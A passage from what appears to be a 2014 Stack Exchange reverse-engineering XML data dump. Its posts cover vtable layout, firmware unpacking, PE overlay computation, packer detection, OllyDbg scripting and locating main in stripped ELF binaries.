addition);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;_Z4hopeN4this5helpsE&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-05-14T10:14:11.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4330" PostTypeId="2" ParentId="4314" CreationDate="2014-05-14T05:30:10.927" Score="1" Body="&lt;p&gt;As to the 0 in the beginning of VFT, it must be the &lt;em&gt;offset to top&lt;/em&gt; as described in &lt;a href=&quot;http://mentorembedded.github.io/cxx-abi/abi.html#vtable-components&quot; rel=&quot;nofollow&quot;&gt;http://mentorembedded.github.io/cxx-abi/abi.html#vtable-components&lt;/a&gt; . The value is used when a class is derived from several base classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This 0 is &lt;code&gt;vmt[-2]&lt;/code&gt; when you obtain the vmt address at run-time, but in the IDA disassembly it is the very first element of vtable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; DerivedStuff::DerivedStuff(int, int)&#xA;            EXPORT _ZN12DerivedStuffC2Eii&#xA;_ZN12DerivedStuffC2Eii&#xA;            PUSH            {R4,LR}&#xA;            MOV             R4, R0&#xA;            BL              _ZN9BaseStuffC2Eii ; BaseStuff::BaseStuff(int,int)&#xA;            LDR             R3, =(_ZTV12DerivedStuff_ptr - 0x1AF4)&#xA;            MOV             R0, R4&#xA;            ADD             R3, PC ; _ZTV12DerivedStuff_ptr&#xA;            LDR             R3, [R3] ; `vtable for'DerivedStuff&#xA;            ADDS            R3, #8 ; &amp;lt;===== this is where 8 is added to the vmt address!!!&#xA;            STR             R3, [R4]&#xA;            POP             {R4,PC}&#xA;; End of function DerivedStuff::DerivedStuff(int,int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-14T07:47:47.660" LastActivityDate="2014-05-14T07:47:47.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4331" PostTypeId="1" CreationDate="2014-05-14T09:41:14.120" Score="4" ViewCount="998" Body="&lt;p&gt;I'm working with a Digi Connect ME serial to Ethernet bridge, which runs a &quot;Plug and Play&quot; firmware by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific product page is &lt;a href=&quot;http://www.digi.com/products/wireless-wired-embedded-solutions/solutions-on-module/digi-connect/digiconnectme&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The part number is DC-ME-01T-S. It appears to be an ARM based board - a NS7520 specifically. This is not the product with NET+OS or a JTAG port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The support page is &lt;a href=&quot;http://www.digi.com/support/productdetail?pid=2466&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - contains firmware, documentation, drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digi provide .bin files, but no source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to unpack the .bin files but I am not having much luck. binwalk doesn't pick up anything, mkimage from u-boot doesn't find the magic number (some other Digi products use U-boot), file just indicates it is data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seem to be two firmwares - the large EOS file and a smaller POST file. I suspect the POST one might be a bootloader - it doesn't look compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the most recent EOS firmware:&#xA;&lt;a href=&quot;http://ftp1.digi.com/support/firmware/82001120_M.bin&quot; rel=&quot;nofollow&quot;&gt;http://ftp1.digi.com/support/firmware/82001120_M.bin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the post firmware:&#xA;&lt;a href=&quot;http://ftp1.digi.com/support/firmware/82000867_H.bin&quot; rel=&quot;nofollow&quot;&gt;http://ftp1.digi.com/support/firmware/82000867_H.bin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entropy analysis of the EOS firmware shows high entropy throughout the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NET+OS version of the Digi Connect ME runs Digi's NET+OS network operating system which is based on ThreadX's RTOS. I am not sure if the Plug and Play firmware is just a specific variant of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Digi Connect Me is used in a lot of embedded devices to provide network connectivity and a lot of them are open to the Internet, hence the interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not like anything I have seen before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first goal is to run strings against the firmware as I suspect it has undocumented functionality when running in modem emulation mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2014-05-14T13:12:18.943" LastActivityDate="2014-05-15T00:24:21.463" Title="Unpacking a Digi Connect ME bin file" Tags="|firmware|unpacking|binary|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4332" PostTypeId="2" ParentId="4324" CreationDate="2014-05-14T13:20:06.650" Score="3" Body="&lt;p&gt;For the sake of completeness: This is is the code I made based on Peter Ferrie's suggestions&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Calculates the beginning of the overlay&#xA; * &#xA; * @return the file offset to the beginning of overlay&#xA; */&#xA;public long getOverlayOffset() {&#xA;    SectionTable table = data.getSectionTable();&#xA;    OptionalHeader opt = data.getOptionalHeader();&#xA;    offset = 0L;&#xA;    List&amp;lt;SectionHeader&amp;gt; headers = table.getSectionHeaders();&#xA;    if(headers.size() == 0) {&#xA;        offset = file.length(); //offset for sectionless PE's&#xA;    }&#xA;    for (SectionTableEntry section : table.getSectionEntries()) {&#xA;        long alignedPointerToRaw = section.get(POINTER_TO_RAW_DATA)&#xA;                &amp;amp; ~0x1ff;&#xA;        long endPoint = getReadSize(section) + alignedPointerToRaw;&#xA;        if (offset &amp;lt; endPoint) {&#xA;            offset = endPoint;&#xA;        }&#xA;    }&#xA;    if (offset &amp;gt; file.length()) {&#xA;        offset = file.length();&#xA;    }&#xA;    return offset;&#xA;}&#xA;&#xA;/**&#xA; * Determines the the number of bytes that is read for the section.&#xA; * &#xA; * @param section&#xA; * @return section bytes that are read&#xA; */&#xA;private long getReadSize(SectionTableEntry section) {&#xA;    long pointerToRaw = section.get(POINTER_TO_RAW_DATA);&#xA;    long virtSize = section.get(VIRTUAL_SIZE);&#xA;    long sizeOfRaw = section.get(SIZE_OF_RAW_DATA);&#xA;    long fileAlign = data.getOptionalHeader().get(&#xA;            WindowsEntryKey.FILE_ALIGNMENT);&#xA;    long alignedPointerToRaw = section.get(POINTER_TO_RAW_DATA) &amp;amp; ~0x1ff;&#xA;    long readSize = alignedUp(pointerToRaw + sizeOfRaw, fileAlign)&#xA;            - alignedPointerToRaw;&#xA;    readSize = Math.min(readSize,&#xA;            alignedUp(section.get(SIZE_OF_RAW_DATA), 0x1000));&#xA;    if (virtSize != 0) {&#xA;        readSize = Math.min(readSize,&#xA;                alignedUp(section.get(VIRTUAL_SIZE), 0x1000));&#xA;    }&#xA;    return readSize;&#xA;}&#xA;&#xA;/**&#xA; * Returns the value rounded up to a multiple of alignTo.&#xA; * &#xA; * @param value&#xA; * @param alignTo&#xA; * @return value rounded up to a multiple of alignTo&#xA; */&#xA;private long alignedUp(long value, long alignTo) {&#xA;    if (value % alignTo != 0) {&#xA;        value = (value + alignTo - 1) &amp;amp; ~(alignTo - 1);&#xA;    }&#xA;    return value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4608" LastEditorUserId="4608" LastEditDate="2014-05-23T20:15:47.903" LastActivityDate="2014-05-23T20:15:47.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4333" PostTypeId="2" ParentId="4257" CreationDate="2014-05-14T18:19:34.840" Score="3" Body="&lt;p&gt;Basically the best way to start doing this is to compile your own EXE (with the same compiler as the Themida protected file when possible) and try to merge the sections by yourself. I crafted an example for you (source code: &lt;a href=&quot;http://codepad.org/RqNiH3Ly&quot; rel=&quot;nofollow&quot;&gt;http://codepad.org/RqNiH3Ly&lt;/a&gt;, download RAR (merged + directly compiled): &lt;a href=&quot;https://mega.co.nz/#!aoAUALBJ!6riSM4VmT43Ywf_jxQAY73EsVXyjEAAhJ1rOSGaYdeI&quot; rel=&quot;nofollow&quot;&gt;https://mega.co.nz/#!aoAUALBJ!6riSM4VmT43Ywf_jxQAY73EsVXyjEAAhJ1rOSGaYdeI&lt;/a&gt;, just some executable I was working with at the moment, compiled with VS10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base of the .data section can basically be found by searching for references to every address aligned to 0x1000 in the code (VS10 uses data pointers in order, so just scroll up to the base of the first section and look for a pointer). For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;01251000  /$  81EC 0C010000 SUB ESP,10C&lt;br&gt;&#xA;  01251006  |.  A1 00302501   MOV EAX,DWORD PTR DS:[1253000] ; pointer to .data&lt;br&gt;&#xA;  0125100B  |.  33C4          XOR EAX,ESP&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my case (the EXE also has relocations) the ImageBase was 0x1250000, so the RVA of the .data section would be 0x1253000 - 0x1250000 = 0x3000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .rdata section is just the RVA aligned up to 0x1000 from the actual end of the code (you can learn this from the original file). In this case:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;012518E2   $- FF25 60202501 JMP DWORD PTR DS:[&amp;lt;&amp;amp;MSVCR100._except_han&gt;&lt;br&gt;&#xA;  012518E8   $- FF25 64202501 JMP DWORD PTR DS:[&amp;lt;&amp;amp;MSVCR100._invoke_wat&gt;&lt;br&gt;&#xA;  012518EE   $- FF25 68202501 JMP DWORD PTR DS:[&amp;lt;&amp;amp;MSVCR100.&lt;em&gt;controlfp&lt;/em&gt;&gt; ; end&lt;br&gt;&#xA;  012518F4      00            DB 00&lt;br&gt;&#xA;  012518F5      00            DB 00&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;0x12518EE - 0x1250000 = 0x18EE, rounded up 0x2000, so the original RVA of the .rdata section is 0x2000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar calculations can be done for the .reloc section (search for the binary mask &quot;3? 3? 3? 3? 3?&quot; will get you pretty close on x86).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just learn to know the compiler structure and use it to recover something similar to the original (maybe Themida just appends the raw section data and changes all data pointers etc). Hope this helps a little :)&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2014-05-14T18:19:34.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4335" PostTypeId="2" ParentId="4331" CreationDate="2014-05-15T00:24:21.463" Score="3" Body="&lt;p&gt;The POST firmware is raw ARM big-endian code. Load address is 0x02020000. There doesn't seem to be any embedded sub-files or filesystems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EOS firmware has a few ARM instructions at the beginning, and then some compressed or encrypted data. You'll probably need to analyze the POST firmware to figure out how to decompress it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-05-15T00:24:21.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4336" PostTypeId="1" AcceptedAnswerId="4338" CreationDate="2014-05-15T03:23:48.707" Score="3" ViewCount="878" Body="&lt;p&gt;So basically when I am using &lt;code&gt;objdump&lt;/code&gt; and &lt;code&gt;readelf&lt;/code&gt; to disassemble some GNU Coreutils, I find a very weird situation like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf -s pr | grep bkm_scale&#xA;&#xA;....&#xA;176: 08050620   118 FUNC    LOCAL  DEFAULT   13 bkm_scale&#xA;177: 080506a0    39 FUNC    LOCAL  DEFAULT   13 bkm_scale_by_power&#xA;181: 08050a60   173 FUNC    LOCAL  DEFAULT   13 bkm_scale&#xA;182: 08050b10    50 FUNC    LOCAL  DEFAULT   13 bkm_scale_by_power&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I disassemble &lt;code&gt;pr&lt;/code&gt; using &lt;code&gt;objdump&lt;/code&gt;, I do see two definition of function &lt;code&gt;bkm_scale&lt;/code&gt; and &lt;code&gt;bkm_scale_by_power&lt;/code&gt;, and their disassembled asm code are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does it indicate some disassemble error? If not, then why there are two &lt;code&gt;FUNC&lt;/code&gt; symbols have the same name?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-05-15T07:55:56.110" Title="conflict function name using objdump to disassemble" Tags="|disassembly|objdump|reassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4337" PostTypeId="1" AcceptedAnswerId="4373" CreationDate="2014-05-15T07:51:30.640" Score="3" ViewCount="872" Body="&lt;p&gt;I'm working with IDA pro on a kernel mode function (VMware + windbg) and I'm a annoying because I can't save the workstation state. IDA crash after 3 hours when I &quot;quit and save memory status&quot;.&#xA;Is there a plugin or anything else that could make me able to save my work (variables rename, commentaries and  others) ?&#xA;Thanks for reading (and answers =)&lt;/p&gt;&#xA;" OwnerUserId="4559" LastActivityDate="2014-05-24T14:05:50.610" Title="IDA - save work on kernel mode debugging" Tags="|ida|dynamic-analysis|kernel-mode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4338" PostTypeId="2" ParentId="4336" CreationDate="2014-05-15T07:55:56.110" Score="4" Body="&lt;p&gt;Looks like those are LOCAL definitions, perhaps defined in two places to allow slightly different versions to be used.   They're not global functions, which would be constrained to only appear (or be defined) once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps defined in several files, statically, so they're only used (or scoped to) in that particular file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see those functions in the output of readelf -s, or objdump on my system's installed 'pr'.  I imagine you've compiled the coreutils yourself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're playing with the source code of 'pr', you could grep for bkm_scale and bkm_scale_by_power to see where they're used and defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep exploring!  Keep learning!&lt;/p&gt;&#xA;" OwnerUserId="2973" LastActivityDate="2014-05-15T07:55:56.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4339" PostTypeId="1" AcceptedAnswerId="4341" CreationDate="2014-05-15T13:30:21.923" Score="0" ViewCount="237" Body="&lt;p&gt;What are some good programs that can detect which protection software has been used on or in other programs and their libraries?&lt;/p&gt;&#xA;" OwnerUserId="4630" LastEditorUserId="70" LastEditDate="2014-05-15T14:51:01.617" LastActivityDate="2014-05-19T07:48:44.633" Title="What program can I use to detect protections used on a program and its libraries?" Tags="|anti-debugging|packers|copy-protection|protection|" AnswerCount="4" CommentCount="0" CommunityOwnedDate="2014-05-15T14:46:33.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="4340" PostTypeId="2" ParentId="4339" CreationDate="2014-05-15T13:58:49.470" Score="1" Body="&lt;p&gt;You can try to use &lt;a href=&quot;https://plusvic.github.io/yara/&quot; rel=&quot;nofollow&quot;&gt;YARA&lt;/a&gt; with appropriates rules.&#xA;Or, if you're lazy, you can give a try to &lt;a href=&quot;http://rada.re&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt;, since it integrates YARA, and has a &lt;a href=&quot;http://radare.today/yara-support/&quot; rel=&quot;nofollow&quot;&gt;shitload&lt;/a&gt; of packer-related rules. You could also grab the rule files &lt;a href=&quot;https://github.com/radare/radare2/blob/master/shlr/yara/packers.rules&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-05-15T13:58:49.470" CommentCount="0" CommunityOwnedDate="2014-05-15T14:46:33.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="4341" PostTypeId="2" ParentId="4339" CreationDate="2014-05-15T14:24:09.733" Score="4" Body="&lt;p&gt;Also, try &lt;a href=&quot;http://ntinfo.biz/index.php/detect-it-easy&quot; rel=&quot;nofollow&quot;&gt;Detect It Easy&lt;/a&gt;. The project is alive and updated frequently.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2014-05-15T14:24:09.733" CommentCount="0" CommunityOwnedDate="2014-05-15T14:46:33.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="4342" PostTypeId="2" ParentId="4339" CreationDate="2014-05-15T14:29:19.813" Score="1" Body="&lt;p&gt;There is no &quot;best&quot; I've used PEiD in the past which always worked pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://woodmann.com/BobSoft/Pages/Programs/PEiD&quot; rel=&quot;nofollow&quot;&gt;http://woodmann.com/BobSoft/Pages/Programs/PEiD&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4413" LastEditorUserId="4413" LastEditDate="2014-05-19T07:48:44.633" LastActivityDate="2014-05-19T07:48:44.633" CommentCount="1" CommunityOwnedDate="2014-05-15T14:46:33.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="4343" PostTypeId="1" CreationDate="2014-05-15T16:31:22.173" Score="1" ViewCount="493" Body="&lt;p&gt;So, currently I've been reverse engineering an application, that allows Lua coding. Because for some special purposes, I need to call Lua directly by C/C++ coding. However, as this application is compiled obviously, I can't simply write a function that calls it. I would need the signature of the original functions (incl. the mask) and then write the function prototype, with calling convention, return type, etc. and later compile it as DLL, then inject it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this was done already. I've got the signature by IDAPro using the SigMaker plugin, made the base functions for scanning for the pattern and the masks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, that's how for example the Lua Print Functions looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEC_FUNC(__cdecl, DWORD, print, int a1); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking into the Lua source, a1 is &quot;lua_State *L&quot;. How would I now &lt;em&gt;call&lt;/em&gt; this function and for example print &quot;hello world&quot; in Lua? Excuse me for my incompetence in such things like that, but I've been stuck to this for a couple of days now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison you may look here to the code part from lbaselib.c (in the Lua source):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int luaB_print (lua_State *L) {&#xA;int n = lua_gettop(L);  // number of arguments&#xA;int i;&#xA;lua_getglobal(L, &quot;tostring&quot;);&#xA;for (i=1; i&amp;lt;=n; i++) {&#xA;const char *s;&#xA;lua_pushvalue(L, -1);  // function to be called&#xA;lua_pushvalue(L, i);   // value to print&#xA;lua_call(L, 1, 1);&#xA;s = lua_tostring(L, -1);  // get result&#xA;if (s == NULL)&#xA;  return luaL_error(L, LUA_QL(&quot;tostring&quot;) &quot; must return a string to &quot;&#xA;                       LUA_QL(&quot;print&quot;));&#xA;if (i&amp;gt;1) fputs(&quot;\t&quot;, stdout);&#xA;fputs(s, stdout);&#xA;lua_pop(L, 1);  // pop result&#xA;}&#xA;fputs(&quot;\n&quot;, stdout);&#xA;return 0;&#xA;}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. If some more information is needed, I may provide it of course.&lt;/p&gt;&#xA;" OwnerUserId="4633" LastEditorUserId="245" LastEditDate="2014-05-16T14:31:37.750" LastActivityDate="2014-05-16T14:31:37.750" Title="Calling Lua by C/C++ in compiled applications" Tags="|dll|c++|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4344" PostTypeId="2" ParentId="4339" CreationDate="2014-05-15T20:30:42.017" Score="1" Body="&lt;p&gt;I've found &lt;a href=&quot;http://pid.gamecopyworld.com/&quot; rel=&quot;nofollow&quot;&gt;Protection ID&lt;/a&gt; to be fast and comprehensive (last update in late 2013).&lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-05-15T20:30:42.017" CommentCount="0" CommunityOwnedDate="2014-05-15T20:30:42.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="4345" PostTypeId="1" AcceptedAnswerId="4347" CreationDate="2014-05-16T05:52:00.173" Score="2" ViewCount="1079" Body="&lt;p&gt;I'm wanting to have olly run a program and break when a particular memory location equals a given value. For instance, if I could have it run until the value at address 0xFB2D0024 == 0xE9, and then break immediately when that assignment occurs. Please let me know if this is possible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;conditional&quot; breaks I found in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2763/how-to-set-a-conditional-breakpoint-on-specific-register-value-in-ollydbg&quot;&gt;here&lt;/a&gt; did not work, or rather when I right clicked -&gt; breakpoint -&gt; Conditional, and then entered a condition, the program simply broke at the instruction where I right-clicked, regardless of the condition, and not when the condition occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I can get is right clicking on a particular memory value (in the memory dump) -&gt; breakpoint -&gt; Memory, on write, but this breaks every time a change is made, and not when a specific value is set. Any help would be great! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-05-16T15:21:37.250" Title="OllyDbg Break when memory equals value" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4347" PostTypeId="2" ParentId="4345" CreationDate="2014-05-16T15:21:37.250" Score="1" Body="&lt;p&gt;You can write script for ODbgScript plugin,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might look like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VAR pDest&#xA;VAR Val&#xA;&#xA;mov pDest, FB2D0024 // dest address&#xA;mov Val, E9 // val to look for&#xA;&#xA;bpwm pDest, 4 // set bp on writing DWORD (4bytes) value.&#xA;__lbl_loop:&#xA;erun&#xA;cmp [pDest], Val&#xA;jne __lbl_loop&#xA;bpmc&#xA;LOG &quot;Catched ^(._.^)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3209" LastActivityDate="2014-05-16T15:21:37.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4349" PostTypeId="1" AcceptedAnswerId="4350" CreationDate="2014-05-16T16:55:14.417" Score="4" ViewCount="1343" Body="&lt;p&gt;So basically I am working on some tripped &lt;em&gt;dynamic linked&lt;/em&gt; ELF binaries (32 bit Linux x86), using &lt;code&gt;objdump&lt;/code&gt; to disassemble them, modifying and trying to reassemble them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the unstripped binary, we can get the beginning address of main function based on the symbol table, however, on the stripped binary, we just don't know where the main function is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I can just adjust the whole &lt;em&gt;text&lt;/em&gt; section, and starting from the original entry point of the ELF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problems are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is some control transfer from the prologue/epilog of this ELF (such as &lt;code&gt;_start&lt;/code&gt;; &lt;code&gt;__do_global_dtors_aux&lt;/code&gt;; &lt;code&gt;__libc_csu_fini&lt;/code&gt;; &lt;code&gt;__i686.get_pc_thunk.bx&lt;/code&gt;; &lt;code&gt;__do_global_ctors_aux&lt;/code&gt;) into the &lt;code&gt;.dtors&lt;/code&gt;,&lt;code&gt;.ctors&lt;/code&gt;section, which means I have to also disassemble this section.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am afraid that if I start from entry point in the re-assembled ELF, then I would probably &lt;strong&gt;double-init&lt;/strong&gt; some stuff, because in my re-assembled asm code, I have the code of &lt;code&gt;_start&lt;/code&gt;; &lt;code&gt;__do_global_dtors_aux&lt;/code&gt;; &lt;code&gt;__libc_csu_fini&lt;/code&gt; while linker will also attach these functions in the new ELF.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I would like to use some way to identify the &lt;code&gt;main&lt;/code&gt; function in a stripped ELF (heuristically)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I don't have some strategies on this issue, Could anyone give me some help?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-05-17T08:09:16.093" LastActivityDate="2014-06-26T15:43:47.203" Title="Is it possible to (heuristic) identify the begin addr of main function in a stripped ELF?" Tags="|disassembly|x86|elf|reassembly|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4350" PostTypeId="2" ParentId="4349" CreationDate="2014-05-16T17:15:15.380" Score="2" Body="&lt;p&gt;So I am thinking that, in the asm code disassembled from &lt;code&gt;objdump&lt;/code&gt;, we should always find this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push addr&#xA;call __libc_start_main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in a heuristical perspective, we can just consider the &lt;code&gt;addr&lt;/code&gt; in the above code is the beginning addr of &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right? Is there any exception?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-05-16T17:15:15.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4351" PostTypeId="1" CreationDate="2014-05-16T21:38:04.270" Score="2" ViewCount="186" Body="&lt;p&gt;I try to analyze a backdoor program with ollydbg. When I go through the assembly code by clicking the &quot;Step Over&quot;-Button, i stop sometimes to make a notice on a paper.&#xA;Later when i want to go trough the code again, suddenly the malware terminates itself.&#xA;I dont know why but it terminates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be a anti-debugging mechanism ? Because the behaviour its not normal. &#xA;Someone has made same experiences and can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I have read something about a &quot;Timing Checks&quot; as anti-debuging techniques used by malware. So, with that technique the malware itself is able to find out if it is debugged.&#xA;Could it be something like that ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditDate="2014-05-16T22:34:29.477" LastActivityDate="2014-05-16T22:34:29.477" Title="Malware terminated in Ollydbg after a while - Why?" Tags="|malware|dynamic-analysis|" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-16T21:50:46.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="4352" PostTypeId="1" CreationDate="2014-05-16T23:10:25.680" Score="3" ViewCount="1217" Body="&lt;p&gt;I heard that you can run linux_server on the linux server you wish to debug remotely, but I only see references to Windows on the IDA site. Can we use OS X to remote debug a linux program with IDA? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="4646" LastEditorUserId="4646" LastEditDate="2014-05-17T01:38:18.123" LastActivityDate="2014-06-26T22:52:09.767" Title="How to remote debug Linux binary from Mac OS X with IDA?" Tags="|ida|debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4353" PostTypeId="1" AcceptedAnswerId="4360" CreationDate="2014-05-17T01:37:44.007" Score="4" ViewCount="5537" Body="&lt;p&gt;I'm wondering if there's a way to compare source code to the disassembled assembly in IDA Pro? (e.g. I compile hello.c in Linux then open the binary in IDA Pro in OS X, and would like to compare the assembly with the source so make it easier to find out what's going on). Does such a feature exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDED From Comment:&lt;/strong&gt;&#xA;By the way, I forgot to mention, I am in OS-X and the binary was compiled by Lunux&lt;/p&gt;&#xA;" OwnerUserId="4646" LastEditorUserId="4665" LastEditDate="2014-05-19T04:50:28.947" LastActivityDate="2014-05-19T04:50:36.717" Title="How do you compare C source code with the corresponding binary's assembly in IDA Pro?" Tags="|ida|disassembly|assembly|c|disassemblers|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4355" PostTypeId="1" CreationDate="2014-05-17T08:10:27.923" Score="1" ViewCount="2410" Body="&lt;p&gt;When I run Ollydbg in my Windows7 (x32) using kernel mode in StrongOd Plugin it doesn't load correctly and log shows this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data, item 0 Message=StartService Failed, err = 2 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when loading any program it terminates itself. Does anyone know how to fix this ?&lt;/p&gt;&#xA;" OwnerUserId="4641" LastEditorUserId="53" LastEditDate="2014-05-17T08:12:32.443" LastActivityDate="2014-06-27T06:53:53.603" Title="Ollydbg problem" Tags="|ollydbg|kernel-mode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
